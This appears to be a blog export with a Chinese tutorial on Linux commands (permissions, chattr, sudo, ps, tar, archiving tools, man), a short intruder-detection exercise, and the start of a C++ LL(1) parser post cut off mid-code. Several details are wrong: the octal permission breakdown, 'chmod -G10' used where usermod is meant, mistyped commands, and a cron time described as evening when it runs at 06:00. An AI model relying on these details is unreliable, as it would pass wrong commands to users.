tem上面代码中,这个666数字是如何计算出来的呢?0002为所有者的写权限,0004为所有者的读权限,0020为组的写权限,0040为组的读权限, 0200为其他人的写权限,0400为其他人的读权限,这6个数字相加就是666(注以上数字都是八进制数),结果见图1所示。图1 用chmod数字方法设定文件权限从图1可以看出,tem文件的权限是-rw-rw-rw-,即用户对这个文件有读写权限。如果用字符权限设定使用下面命令:#chmoda =wx temchown1.作用更改一个或多个文件或目录的属主和属组。使用权限是超级用户。2.格式chown [选项] 用户或组 文件3.主要参数--dereference:受影响的是符号链接所指示的对象,而非符号链接本身。-h, --no-dereference:会影响符号链接本身,而非符号链接所指示的目的地(当系统支持更改符号链接的所有者,此选项才有效)。--from=目前所有者:目前组只当每个文件的所有者和组符合选项所指定的,才会更改所有者和组。其中一个可以省略,这已省略的属性就不需要符合原有的属性。-f, --silent, --quiet:去除大部分的错误信息。-R, --recursive:递归处理所有的文件及子目录。-v, --verbose:处理任何文件都会显示信息。4.说明chown 将指定文件的拥有者改为指定的用户或组,用户可以是用户名或用户ID;组可以是组名或组ID;文件是以空格分开的要改变权限的文件列表,支持通配符。系统管理员经常使用chown命令,在将文件拷贝到另一个用户的目录下以后,让用户拥有使用该文件的权限。5.应用实例1.把文件shiyan.c的所有者改为wan$ chown wan shiyan.c2.把目录/hi及其下的所有文件和子目录的属主改成wan,属组改成users。$ chown - R wan.users /hichattr1.作用修改ext2和ext3文件系统属性(attribute),使用权限超级用户。2.格式chattr [-RV] [-+=AacDdijsSu] [-v version] 文件或目录3.主要参数-R:递归处理所有的文件及子目录。-V:详细显示修改内容,并打印输出。-:失效属性。+:激活属性。= :指定属性。A:Atime,告诉系统不要修改对这个文件的最后访问时间。S:Sync,一旦应用程序对这个文件执行了写操作,使系统立刻把修改的结果写到磁盘。a:AppendOnly,系统只允许在这个文件之后追加数据,不允许任何进程覆盖或截断这个文件。如果目录具有这个属性,系统将只允许在这个目录下建立和修改文件,而不允许删除任何文件。i:Immutable,系统不允许对这个文件进行任何的修改。如果目录具有这个属性,那么任何的进程只能修改目录之下的文件,不允许建立和删除文件。D:检查压缩文件中的错误。d:Nodump,在进行文件系统备份时,dump程序将忽略这个文件。C:Compress,系统以透明的方式压缩这个文件。从这个文件读取时,返回的是解压之后的数据;而向这个文件中写入数据时,数据首先被压缩之后才写入磁盘。s:SecureDelete,让系统在删除这个文件时,使用0填充文件所在的区域。u:Undelete,当一个应用程序请求删除这个文件,系统会保留其数据块以便以后能够恢复删除这个文件。4.说明chattr 命令的作用很大,其中一些功能是由Linux内核版本来支持的,如果Linux内核版本低于2.2,那么许多功能不能实现。同样-D检查压缩文件中的错误的功能,需要2.5.19以上内核才能支持。另外,通过chattr命令修改属性能够提高系统的安全性,但是它并不适合所有的目录。chattr命令不能保护/、/dev、/tmp、/var目录。5.应用实例1.恢复/root目录,即子目录的所有文件# chattr -R +u/root2.用chattr命令防止系统中某个关键文件被修改在Linux下,有些配置文件(passwd,fatab)是不允许任何人修改的,为了防止被误删除或修改,可以设定该文件的“不可修改位(immutable)”,命令如下:# chattr +i /etc/fstabsudo1.作用sudo是一种以限制配置文件中的命令为基础,在有限时间内给用户使用,并且记录到日志中的命令,权限是所有用户。2.格式sudo [-bhHpV] [-s <shell>][-u <用户>][指令]sudo [-klv]3.主要参数-b:在后台执行命令。-h:显示帮助。-H:将HOME环境变量设为新身份的HOME环境变量。-k:结束密码的有效期,即下次将需要输入密码。-l:列出当前用户可以使用的命令。-p:改变询问密码的提示符号。-s <shell>:执行指定的Shell。-u <用户>:以指定的用户为新身份,不使用时默认为root。-v:延长密码有效期5分钟。4.说明sudo 命令的配置在/etc/sudoers文件中。当用户使用sudo时,需要输入口令以验证使用者身份。随后的一段时间内可以使用定义好的命令,当使用配置文件中没有的命令时,将会有报警的记录。sudo是系统管理员用来允许某些用户以root身份运行部分/全部系统命令的程序。一个明显的用途是增强了站点的安全性,如果需要每天以超级用户的身份做一些日常工作,经常执行一些固定的几个只有超级用户身份才能执行的命令,那么用sudo是非常适合的。ps1.作用ps显示瞬间进程(process) 的动态,使用权限是所有使用者。2.格式ps [options] [--help]3.主要参数ps的参数非常多, 此出仅列出几个常用的参数。-A:列出所有的进程。-l:显示长列表。-m:显示内存信息。-w:显示加宽可以显示较多的信息。-e:显示所有进程。a:显示终端上的所有进程,包括其它用户的进程。-au:显示较详细的信息。-aux:显示所有包含其它使用者的进程。4.说明要对进程进行监测和控制,首先要了解当前进程的情况,也就是需要查看当前进程。ps命令就是最基本、也是非常强大的进程查看命令。使用该命令可以确定有哪些进程正在运行、运行的状态、进程是否结束、进程有没有僵尸、哪些进程占用了过多的资源等。图2给出了ps-aux命令详解。大部分信息都可以通过执行该命令得到。最常用的三个参数是u、a、x。下面就结合这三个参数详细说明ps命令的作用:ps aux图2 ps-aux命令详解图2第2行代码中,USER表示进程拥有者;PID表示进程标示符;%CPU表示占用的CPU使用率;%MEM占用的物理内存使用率;VSZ表示占用的虚拟内存大小;RSS为进程占用的物理内存值;TTY为终端的次要装置号码。STAT 表示进程的状态,其中D为不可中断的静止(I/O动作);R正在执行中;S静止状态;T暂停执行;Z不存在,但暂时无法消除;W没有足够的内存分页可分配;高优先序的进程;N低优先序的进程;L有内存分页分配并锁在内存体内 (实时系统或 I/O)。START为进程开始时间。TIME为执行的时间。COMMAND是所执行的指令。4.应用实例在进行系统维护时,经常会出现内存使用量惊人,而又不知道是哪一个进程占用了大量进程的情况。除了可以使用top命令查看内存使用情况之外,还可以使用下面的命令:ps aux | sort +5nwho1.作用who显示系统中有哪些用户登陆系统,显示的资料包含了使用者ID、使用的登陆终端、上线时间、呆滞时间、CPU占用,以及做了些什么。 使用权限为所有用户。2.格式who - [husfV] [user]3.主要参数-h:不要显示标题列。-u:不要显示使用者的动作/工作。-s:使用简短的格式来显示。-f:不要显示使用者的上线位置。-V:显示程序版本。4.说明该命令主要用于查看当前在线上的用户情况。如果用户想和其它用户建立即时通信,比如使用talk命令,那么首先要确定的就是该用户确实在线上,不然 talk进程就无法建立起来。又如,系统管理员希望监视每个登录的用户此时此刻的所作所为,也要使用who命令。who命令应用起来非常简单,可以比较准确地掌握用户的情况,所以使用非常广泛。动手练习1.使用Linux命令检测系统入侵者安装过MandrakeLinux和RedHat Linux的用户都会知道,Linux系统会内置三种不同级别(标准、高、更高)的防火墙,当进行了Linux服务器的安装和一些基本的设置后,服务器应该说是比较安全的,但是也会有黑客通过各种方法利用系统管理员的疏忽侵入系统。如何快速查找黑客非常重要。一般来说,可以使用命令查询黑客是否入侵,见表 1。表1 查询黑客入侵现象的命令对应表举例说明,如果黑客嗅探网络,那么它必须使网卡接口处于混杂模式,使用下面命令进行查询:#ifconfig -aeth0 Link encap:Ethernet HWaddr 00:00:E8:A0:25:86inet addr:192.168.1.7 Bcast:192.168.1.255 Mask:255.255.255.0UP BROADCAST RUNNING PROMISCUOUS MTU:1500 Metric:1......从这个命令的输出中,可以看到上面讲到的这些概念。第一行的00:00:E8:A0:25:86是mac地址,第二行的192.168.1.7是IP地址,第四行讲的是接收数据状态,这时正在被黑客嗅探。一般而言,网卡有几种接收数据帧的状态,如Broadcast、Multicast、 Promiscuous等。Broadcast是指接收所有类型为广播报文的数据帧;Multicast是指接收特定的组播报文;Promiscuous则是通常说的混杂模式,是指对报文中的目的硬件地址不加任何检查、全部接收的工作模式。2.限制su命令的滥用我们知道,超级用户在Linux中有最大的权利,几乎所有黑客都想得到这个目标。Linux可以增加对切换到超级用户的限制。使用PAM (Pluggable AuthenticationModules)可以禁止除在wheel组以外的任何人su成root,修改/etc/pam.d/su文件,除去屏蔽标识#。使用/usr/sbin/usermod G10 bjecadm将bjecadm这个账号加入gid为10的组,就是wheel组。命令如下:/etc/pam.d/su # 使用密码验证#auth sufficient /lib/security/pam_wheel.so debug# 限制只有wheel组用户才可以切换到root#auth required /lib/security/pam_wheel.so use_uidchmod -G10 bjecadm另外,每当用户试图使用su命令进入系统用户时,命令将在/usr/adm/sulog文件中写一条信息,若该文件记录了大量试图用su进入root的无效操作信息,则表明了可能有人企图破译root口令。Linux命令有着强大的功能。对于Linux系统管理员来说,往往只需要通过各种安全命令技巧,组合构成安全防线。从计算机安全的角度看,世界上没有绝对安全的计算机系统,Linux系统也不例外。(6)-其他命令在前面几讲中,我们把Linux命令按照在系统中的作用分成几个部分分别予以介绍。但是,还有一些命令不好划分,然而学习它们同样是比较重要的。tar1.作用tar命令是Unix/Linux系统中备份文件的可靠方法,几乎可以工作于任何环境中,它的使用权限是所有用户。2.格式tar [主选项+辅选项] 文件或目录3.主要参数使用该命令时,主选项是必须要有的,它告诉tar要做什么事情,辅选项是辅助使用的,可以选用。主选项:-c 创建新的档案文件。如果用户想备份一个目录或是一些文件,就要选择这个选项。-r 把要存档的文件追加到档案文件的未尾。例如用户已经做好备份文件,又发现还有一个目录或是一些文件忘记备份了,这时可以使用该选项,将忘记的目录或文件追加到备份文件中。-t 列出档案文件的内容,查看已经备份了哪些文件。-u 更新文件。就是说,用新增的文件取代原备份文件,如果在备份文件中找不到要更新的文件,则把它追加到备份文件的最后。-x 从档案文件中释放文件。辅助选项:-b 该选项是为磁带机设定的,其后跟一数字,用来说明区块的大小,系统预设值为20(20×512 bytes)。-f 使用档案文件或设备,这个选项通常是必选的。-k 保存已经存在的文件。例如把某个文件还原,在还原的过程中遇到相同的文件,不会进行覆盖。-m 在还原文件时,把所有文件的修改时间设定为现在。-M 创建多卷的档案文件,以便在几个磁盘中存放。-v 详细报告tar处理的文件信息。如无此选项,tar不报告文件信息。-w 每一步都要求确认。-z 用gzip来压缩/解压缩文件,加上该选项后可以将档案文件进行压缩,但还原时也一定要使用该选项进行解压缩。4.应用说明tar 是TapeArchive(磁带归档)的缩写,最初设计用于将文件打包到磁带上。如果下载过Linux的源代码,或许已经碰到过tar文件请注意,不要忘了Linux是区分大小写的。例如,tar命令应该总是以小写的形式执行。命令行开关可以是大写、小写或大小写的混合。例如,-t和-T执行不同的功能。文件或目录名称可以混合使用大小写,而且就像命令和命令行开关一样是区分大小写的。5.应用实例tar是一个命令行的工具,没有图形界面。使用Konsole打开一个终端窗口,接下来是一个简单的备份命令(在/temp目录中创建一个back.tar的文件,/usr目录中所有内容都包含在其中。):$tar cvf - /usr > /temp/back.tar另外,tar命令支持前面第三讲中讲过的crontab命令,可以用crontab工具设置成基于时间的有规律地运行。例如,每晚6点把/usr目录备份到 hda—第一个IDE接口的主驱动器 (总是位于第一个硬盘)中,只要将下面语句添加到root的crontab中即可:$00 06 * * * tar cvf /dev/hda1/usrfiles.tar - /usr一般情况下,以下这些目录是需要备份的:◆/etc 包含所有核心配置文件,其中包括网络配置、系统名称、防火墙规则、用户、组,以及其它全局系统项。◆ /var 包含系统守护进程(服务)所使用的信息,包括DNS配置、DHCP租期、邮件缓冲文件、HTTP服务器文件、dB2实例配置等。◆/home 包含所有默认用户的主目录,包括个人设置、已下载的文件和用户不希望失去的其它信息。◆/root 根(root)用户的主目录。◆/opt 是安装许多非系统文件的地方。IBM软件就安装在这里。OpenOffice、JDK和其它软件在默认情况下也安装在这里。有些目录是可以不备份的:◆ /proc 应该永远不要备份这个目录。它不是一个真实的文件系统,而是运行内核和环境的虚拟化视图,包括诸如/proc/kcore这样的文件,这个文件是整个运行内存的虚拟视图。备份这些文件只是在浪费资源。◆/dev 包含硬件设备的文件表示。如果计划还原到一个空白的系统,就可以备份/dev。然而,如果计划还原到一个已安装的Linux 系统,那么备份/dev是没有必要的。unzip1.作用unzip 命令位于/usr/bin目录中,它们和MS DOS下的pkzip、pkunzip及MS Windows中的Winzip软件功能一样,将文件压缩成.zip文件,以节省硬盘空间,当需要的时候再将压缩文件用unzip命令解开。该命令使用权限是所有用户。2.格式unzip [-cflptuvz][-agCjLMnoqsVX][-P <密码>][.zip文件][文件][-d<目录>][-x<文件>]3.主要参数-c:将解压缩的结果显示到屏幕上,并对字符做适当的转换。-f:更新现有的文件。-l:显示压缩文件内所包含的文件。-p:与-c参数类似,会将解压缩的结果显示到屏幕上,但不会执行任何的转换。-t:检查压缩文件是否正确。-u:与-f参数类似,但是除了更新现有的文件外,也会将压缩文件中的其它文件解压缩到目录中。-v:执行是时显示详细的信息。-z:仅显示压缩文件的备注文字。-a:对文本文件进行必要的字符转换。-b:不要对文本文件进行字符转换。-C:压缩文件中的文件名称区分大小写。-j:不处理压缩文件中原有的目录路径。-L:将压缩文件中的全部文件名改为小写。-M:将输出结果送到more程序处理。-n:解压缩时不要覆盖原有的文件。-o:不必先询问用户,unzip执行后覆盖原有文件。-P<密码>:使用zip的密码选项。-q:执行时不显示任何信息。-s:将文件名中的空白字符转换为底线字符。-V:保留VMS的文件版本信息。-X:解压缩时同时回存文件原来的UID/GID。[.zip文件]:指定.zip压缩文件。[文件]:指定要处理.zip压缩文件中的哪些文件。-d<目录>:指定文件解压缩后所要存储的目录。-x<文件>:指定不要处理.zip压缩文件中的哪些文件。-Z unzip:-Z等于执行zipinfo指令。在Linux中,还提供了一个叫zipinfo的工具,能够察看zip压缩文件的详细信息。unzip最新版本是5.50。gunzip1.作用gunzip命令作用是解压文件,使用权限是所有用户。2.格式gunzip [-acfhlLnNqrtvV][-s <压缩字尾字符串>][文件...]或者gunzip [-acfhlLnNqrtvV][-s <压缩字尾字符串>][目录]3.主要参数-a或--ascii:使用ASCII文字模式。-c或--stdout或--to-stdout:把解压后的文件输出到标准输出设备。-f或-force:强行解开压缩文件,不理会文件名称或硬连接是否存在,以及该文件是否为符号连接。-h或--help:在线帮助。-l或--list:列出压缩文件的相关信息。-L或--license:显示版本与版权信息。-n或--no-name:解压缩时,若压缩文件内含有原来的文件名称及时间戳记,则将其忽略不予处理。-N或--name:解压缩时,若压缩文件内含有原来的文件名称及时间戳记,则将其回存到解开的文件上。-q或--quiet:不显示警告信息。-r或--recursive:递归处理,将指定目录下的所有文件及子目录一并处理。-S<压缩字尾字符串>或--suffix<压缩字尾字符串>:更改压缩字尾字符串。-t或--test:测试压缩文件是否正确无误。-v或--verbose:显示指令执行过程。-V或--version:显示版本信息。4.说明gunzip是个使用广泛的解压缩程序,它用于解开被gzip压缩过的文件,这些压缩文件预设最后的扩展名为“.gz”。事实上,gunzip就是gzip的硬连接,因此不论是压缩或解压缩,都可通过gzip指令单独完成。gunzip最新版本是1.3.3 。unarj1.作用unarj解压缩格式为.arj格式的文件,使用权限是所有用户。2.格式unarj [eltx][.arj压缩文件]3.主要参数e:解压缩.arj文件。l:显示压缩文件内所包含的文件。t:检查压缩文件是否正确。x:解压缩时保留原有的路径。4.说明带有.arj扩展名的文件是由用于MS DOS和Windows的ARJ实用程序创建的。因为ARJ是一种不能免费获得源代码的共享件程序,所以在mtools1.作用mtools 实际上是一个命令集合,是DOS文件系统的工具程序,它可以模拟许多DOS命令,使用起来非常方便。使用权限是所有用户。Linux系统提供了一组称为mtools的可移植工具,可以让用户轻松地从标准的DOS软盘上读、写文件和目录。它们对DOS和Linux环境之间交换文件非常有用。mtools的使用非常简单,如果想把软盘里所有的文件都拷贝到硬盘上,那么就可以执行以下命令:mcopy a:*.*也就是说,只需要在相应的DOS命令之前加上一个字母“m”,就可以完成对应的功能了。一般Linux发行版本中都有这个软件,可以使用下面命令检查一下。rpm -qa|grep mtools如果没有安装,也没有关系,可以从网上下载(http://mtools.linux.lu/)一个最新版本来安装。目前可供下载的最新mtools版本是2.包括的命令mcd 目录名:改变MS DOS下的目录。mcopy 源文件 目标文件:在MS DOS和Unix之间复制文件。mdel 文件名:删除MS DOS下的文件。mdir 目录名:显示MS DOS下的目录。mformat 驱动器号:在低级格式化的软盘上创建MS DOS文件系统。rnlabel 驱动器号:产生MS DOS下的卷标。mmd 目录名:建立MS DOS下的目录。mrd 目录名:删除MS DOS下的目录。mren 源文件 目标文件:重新命名已存在的MS DOS文件。mtype 文件名:显示MS DOS文件的内容。请注意,这些命令和对应的MS DOS命令非常相似。在mtools命令中,“/”和“\\”是可以混用的。因为文件列表的是DOS系统下的文档,对大小写并不敏感,所以“CDE”和“cde”在这里是一样的。3.应用实例(1)如果把软盘进行快速格式化,可以使用命令mformat:mformat A:mtools 当初发展的目的是用来处理DOS文件系统的,所以只能用在FAT文件格式的分区上。需要注意的是,如果用mount命令来挂载了FAT16/32分区,那么就不能使用mtools的指令来处理这些分区上的文件。这是因为一旦FAT16/32分区挂到了Linux文件目录下,Linux就会将其视为文件系统本身的一部分,这时如果要对其操作就必须使用Linux本身所附带的指令集。(2)将DOS盘上的文件htca.c复制到当前目录下,并用ls命令进行验证。$ mcopy a:\\htca.c$ ls -l htca.c-rw-r- -r- - 1 xxq xxq 27136 Jan 1 01:80 htca.cman1.作用man命令用来提供在线帮助,使用权限是所有用户。在Linux系统中存储着一部联机使用的手册,以供用户在终端上查找。使用man命令可以调阅其中的帮助信息,非常方便和实用。2.格式man 命令名称man [-acdfhkKtwW] [-m system] [-p string] [-C config_file] [-M path] [-P pager][-S section_list] [section] name ...3.参数-C config_file:指定设定文件man.conf,缺省值是/etc/man.conf。-M path:指定了联机手册的搜寻路径, 如果没有指定则使用环境变数MANPATH的设定;如果没有使用MANPATH, 则会使用/usr/lib/man.conf内的设定;如果MANPATH是空字串,则表示使用缺省值。-P pager:指定使用何种pager.man会优先使用此选项设定,然后是依环境变数MANPAGER设定,然后是环境变数PAGER;man缺省使用/usr/bin/less-is。-S section_list man:所搜寻的章节列表(以冒号分隔),此选项会覆盖环境变数MANSECT的设定。-a man:缺省情况是在显示第一个找到的手册之后,就会停止搜寻,使用此选项会强迫man继续显示所有符合name的联机手册。-c:即使有最新的catpage,也继续对联机手册重新作排版,本选项在屏幕的行列数改变时或已排版的联机手册损坏时特别有意义。-d:不要真的显示联机手册,只显示除错讯息。-D:同时显示联机手册与除错讯息。-h:显示求助讯息然后结束程式 。-K:对所有的联机手册搜寻所指定的字串。请注意,本功能回应速度可能很慢,如果指定section(区域)会对速度有帮助。-m system:依所指定的system名称而指定另一组的联机手册。man:是manual(手册)的缩写。在输入命令有困难时,可以立刻得到这个文档。例如, 如果使用ps命令时遇到困难,可以输入man ps得到帮助信息,此时会显示出ps的手册页(manpage)。由于手册页man page是用less程序来看的(可以方便地使屏幕上翻和下翻), 所以在manpage里可以使用less的所有选项。less中比较重要的功能键有:[q] 退出;[Enter] 一行行地下翻;[Space] 一页页地下翻;[b] 上翻一页;[/] 后跟一个字符串和[Enter]来查找字符串;[n] 发现上一次查找的下一个匹配。4.阅读手册页手册页在很少的空间里提供了很多的信息, 这里简单介绍一下大多数手册页中都有的部分内容。Linux手册页主要有九个部分:用户指令、系统调用、程序库、设备说明、文件格式、游戏、杂项、系统指令、内核,手册页快照见图1所示。图1 ps命令手册页快照Linux手册页布局见表1。5.应用实例Linux 命令中有一些基础的、重要的命令,例如ps、find、cat和ls等。下面来举一个综合应用的例子,由此可以看出man的地位在Linux中可谓至关重要。但是,man所显示的信息却不是普通的文本,如果直接将这些文字重定向到一个文本文件,就会发现在man中高亮显示的文字就变成了两个,而且有不计其数的制表符,使打印、编辑都变得非常不便。不过,使用下面这样一条语句就能得到ps命令打印。# man ps | col -b | lpr这条命令同时运用了输出重定向和管道两种技巧,作用是将ps命令的帮助信息可以直接打印出来。更多的Man文件可以查看LinuxManunencode1.作用unencode命令可以把一个二进制文件表编码为一个文本文件,使用权限是所有用户。2.格式uuencode [-hv] [源文件] 目标文件3.主要参数-h:列出指令使用格式(help)。-v:列出版本信息。4.应用说明uuencode指令可以将二进制文件转化成可使用电子邮件发送的ASCII编码形式。uuencode编码后的资料都以 begin开始,以end作为结束,且通常其中的每一行的开始均为“M”,中间部分是编码过的文件,编码后的文件比源文件要大一些。uudecode1.作用uudecode命令用来将uuencode编码后的档案还原,uudecode只会将begin与end标记之间的编码资料还原,程序会跳过标记以外的资料。它的使用权限为所有用户。2.格式uuencode [-hv] [file1 ...]3.主要参数-h:列出指令使用格式(help)。-v:列出版本信息。4.应用实例使用下面命令一次还原几个文件:uuencode file1.uud file2.uud file3.uud动手练习1.在Linux命令行下发送邮件虽然Linux桌面应用发展很快,但是命令行(Shell)在Linux中依然有很强的生命力。如果能确认电子邮件服务器支持8bit的字节,就可以直接使用下面命令:cat <附件文件名> |mail <邮件地址>cat(cat是concatenate的缩写)命令是将几个文件处理成一个文件,并将这种处理的结果保存到一个单独的输出文件,这里我们用它来合并邮件的文本。写好邮件名称,比如叫cjkmail,然后使用下面命令:$uuencode <附件文件名> <附件文件名>>>cjkmail这样就可以用vi编辑器写cjkmail文件,并在前面写上信的正文,然后寄出。对方收到信后,把信中属于cjkmail中的内容拷贝出来,存为themail.uue。如果对方是在Windows下,就可以用WinRAR或WinZip解压,这样就可以看到附件。如果对方也使用Linux,可以用undecode命令还原:$ uudencode -o<附件文件名>themail.uue2.实现tar的分卷笔者想把一个378MB的文件压缩成多个63MB的文件(笔者的USB为64MB),使用下面命令:$tar czvf - dir | split -d -b 63m然后合并命令:$cat x* > dir.tgz以上例子实际是由三个命令组合完成的,即用tar打包,用split分割,用cat合并。“tarczvf - dir”的意思是把dir目录打包,并输出到标准输出(argv),这样就可以直接用管道输出给split。3.连续执行一个命令使用watch命令,可以反复执行命令。如果和ls配合,可以达到观察某文件大小变化的效果。$watch ls -lfile.name4.用tar命令导出一个文件有一个tar格式的DVD文件GLvPro6.4_linux.tar,因为该文件非常大(4.7GB),如果全部解压比较麻烦,可以用下面命令先导出readme.txt看看。tar xvf GLvPro6.4_linux.tar readme.txt这样readme.txt就单独被导出了。5.用tar打包一个目录时只备份其中的几个子目录tar cf --exclude home/cjh home/cao这样home目录下只有cjh和cao两个子目录备份。 Linux的命令行方式功能强大,如果熟练掌握了Linux的常用命令,往往只需要通过各种技巧就可以组合构成一条复杂的命令,从而完成用户任务。Linux系统中的命令实在是太多了,不可能像在MS DOS中把所有的命令及参数都记住。Linux系统提供了一些方法,比如可以通过“help”和“man”来查询名令。 More info: Click here","tags":[]},{"title":"LL(1)语法分析器的实现","date":"2017-10-16T16:51:32.692Z","path":"2017/10/17/new 15/","text":"判断LL(1)语法的的步骤首先消除左递归,先判断输入的文法中是否有左递归,有的话就先消除,然后再判断这个产生式非终结符的FIRST集中是否有它的FOLLOW集中的终结符,如果没有的话就是LL(1)语法,所以就够构造一个文法中的各非终结符的FIRST与FOLLOW集合,C++中的vector类set类以及map类以及迭代器的使用对于构造集合很有用而且写之前对这些类中的各种知识与函数也不是很了解,看了前辈的代码,一遍摸索一遍学习总算实现了基本功能,也学会了这些容器类的使用尤其是动态数组的构造!本来想要用java写的无奈造诣不够,写了大概400行才发现刚写完FIRST集的判断,估计写完得上千行所以就放弃了还是用C++要称手一点。 编译原理代码如下123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452#include <iostream>#include <cstring>#include <cstdio>#include <algorithm>#include <cstdlib>#include <vector>#include <string>#include <cctype>#include <stack>#include <map>#include <set>#define MAX 1024using namespace std;//大写字母为非终止符(可以多一个'的标号做区分),小写字母为终止符,用~代替epsilonclass WF{ public: string left; set<string> right; WF ( char s[] ) { left = s; } void print ( ) { printf ( \"%s->\" , left.c_str() ); set<string>::iterator it = right.begin(); if ( right.begin()!= right.end() ) { printf ( \"%s\" , it->c_str() ); it++; } for(; it != right.end() ; it++ ) printf ( \"|%s\" , it->c_str() ); puts(\"\"); } void insert ( char s[] ) { right.insert ( s ); }};map<string,set<char> > first;//定义一个string作为索引,与之关联的是一个char集合的指针的FIRST集合map<string,set<char> > follow;//定义一个string作为索引,与之关联的是一个char集合的指针的FOLLOW集合map<string,int> VN_dic;//定义一个用string作为索引,并拥有相关联的指向int的指针.vector<WF> VN_set;//定义一个WF类型的VN_set动态数组bool used[MAX];void dfs ( int x ){ if ( used[x] ) return; used[x] = 1; string& left = VN_set[x].left; set<string>& right = VN_set[x].right; set<string>::iterator it = right.begin(); for ( ; it!= right.end() ; it++ ) for ( int i = 0 ; i < it->length() ; i++ ) { if ( !isupper( it->at(i) ) && it->at(i) != '\\'' )//如果不是大写字母且不是换行符就放到FIRST集合中 { first[left].insert ( it->at(i) ); break; } if ( isupper( it->at(i) ) )//如果是大写字母 { int y; if ( i != it->length()-1 && it->at(i+1) == '\\'' ) y = VN_dic[it->substr(i,2)]-1; else y = VN_dic[it->substr(i,1)]-1; string& tleft = VN_set[y].left; dfs ( y ); set<char>& temp = first[tleft]; set<char>::iterator it1 = temp.begin(); bool flag = true; for ( ; it1 != temp.end() ; it1++ ) { if ( *it1 == '~' ) flag = false; first[left].insert( *it1 ); } if ( flag ) break; } else continue; }}void make_first ( ){ memset ( used , 0 , sizeof ( used ) ); for ( int i = 0 ; i < VN_set.size() ; i++ ) dfs ( i );#define DEBUG#ifdef DEBUG puts (\"***************FIRST集***********************\"); map<string,set<char> >::iterator it = first.begin(); for ( ; it != first.end() ; it++ ) { printf ( \"FIRST(%s)={\" , it->first.c_str() ); set<char> & temp = it->second; set<char>::iterator it1 = temp.begin(); bool flag = false; for ( ; it1 != temp.end() ; it1++ ) { if ( flag ) printf ( \",\" ); printf ( \"%c\" , *it1 ); flag = true; } puts (\"}\"); }#endif}void append ( const string& str1 , const string& str2 ){ set<char>& from = follow[str1]; set<char>& to = follow[str2]; set<char>::iterator it = from.begin(); for ( ; it != from.end() ; it++ ) to.insert ( *it );}void make_follow ( ){ while ( true ) { bool goon = false; for ( int i = 0 ; i < VN_set.size() ; i++ ) { string& left = VN_set[i].left; set<string>& right = VN_set[i].right; set<string>::iterator it = right.begin(); for ( ; it!= right.end() ; it++ ) { bool flag = true; const string& str = *it; for ( int j = it->length()-1 ; j >= 0 ; j-- ) { if ( str[j] == '\\'' ) { int x = VN_dic[it->substr(j-1,2)]-1; if ( flag ) { int tt = follow[it->substr(j-1,2)].size(); append ( left , it->substr(j-1,2) ); int tt1 = follow[it->substr(j-1,2)].size(); if ( tt1 > tt ) goon = true; if ( !VN_set[x].right.count(\"~\" ) ) flag = false; } for ( int k = j+1 ; k < it->length() ; k++ ) { if ( isupper(str[k]) ) { string id; if ( k != it->length()-1 && str[k+1] == '\\'' ) id = it->substr(k,2); else id = it->substr(k,1); set<char>& from = first[id]; set<char>& to = follow[it->substr(j-1,2)]; int tt = to.size(); set<char>::iterator it1 = from.begin(); for ( ; it1 != from.end() ; it1++ ) if ( *it1 != '~' ) to.insert ( *it1 ); int tt1 = follow[it->substr(j-1,2)].size(); if ( tt1 > tt ) goon = true; if ( !VN_set[VN_dic[id]-1].right.count(\"~\") ) break; } else if ( str[k] != '\\'' ) { int tt = follow[it->substr(j-1,2)].size(); follow[it->substr(j-1,2)].insert ( str[k] ); int tt1 = follow[it->substr(j-1,2)].size(); if ( tt1 > tt ) goon = true; break; } else continue; } j--; } else if ( isupper(str[j] ) ) { int x = VN_dic[it->substr(j,1)]-1; if ( flag ) { int tt = follow[it->substr(j,1)].size(); append ( left , it->substr(j,1) ); if ( !VN_set[x].right.count(\"~\") ) flag = false; int tt1 = follow[it->substr(j,1)].size(); if ( tt1 > tt ) goon = true; } for ( int k = j+1 ; k < it->length() ; k++ ) { if ( isupper( str[k] ) ) { string id; if ( k != it->length()-1 && str[k+1] == '\\'' ) id = it->substr(k,2); else id = it->substr(k,1); set<char>& from = first[id]; set<char>& to = follow[it->substr(j,1)]; set<char>::iterator it1 = from.begin(); int tt = follow[it->substr(j,1)].size(); for ( ; it1 != from.end() ; it1++ ) if ( *it1 != '~' ) to.insert( *it1 ); int tt1 = follow[it->substr(j,1)].size(); if ( tt1 > tt ) goon = true; if ( !VN_set[VN_dic[id]-1].right.count(\"~\") ) break; } else if ( str[k] != '\\'' ) { int tt = follow[it->substr(j,1)].size(); follow[it->substr(j,1)].insert ( str[k] ); int tt1 = follow[it->substr(j,1)].size(); if ( tt1 > tt ) goon = true; break; } else continue; } } else flag = false; } } } if ( !goon ) break; }#define DEBUG#ifdef DEBUG puts (\"****************FOLLOW集**********************\" ); map<string,set<char> >::iterator it = follow.begin(); for ( ; it != follow.end() ; it++ ) { printf ( \"FOLLOW(%s)={\" , it->first.c_str() ); set<char> & temp = it->second; temp.insert('#'); set<char>::iterator it1 = temp.begin(); bool flag = false; for ( ; it1 != temp.end() ; it1++ ) { if ( flag ) printf ( \",\" ); printf ( \"%c\" , *it1 ); flag = true; } puts (\"}\"); }#endif}vector<map<char,string> > predict_table;//检查一个字符是否属于一个字符串的FIRST集合bool check_first ( const string& text , char ch ){ for ( int i = 0 ; i < text.length() ; i++ ) { bool hasEmpty = false; if ( !isupper(text[i]) && text[i] != '\\'' ) { if ( text[i] != ch ) return false; else return true; } else if ( isupper(text[i] ) ) { string temp; if ( i != text.length()-1 && text[i+1] == '\\'' ) temp = text.substr(i,2); else temp = text.substr(i,1); set<char>& dic = first[temp]; set<char>::iterator it = dic.begin(); for ( ; it != dic.end() ; it++ ) { if ( *it == '~' ) hasEmpty = true; if ( *it == ch ) return true; } if ( !hasEmpty) break; } else continue; } return false;}//检查一个字符是否属于一个字符串的FOLLOW集合bool check_follow ( const string& text , char ch ){ 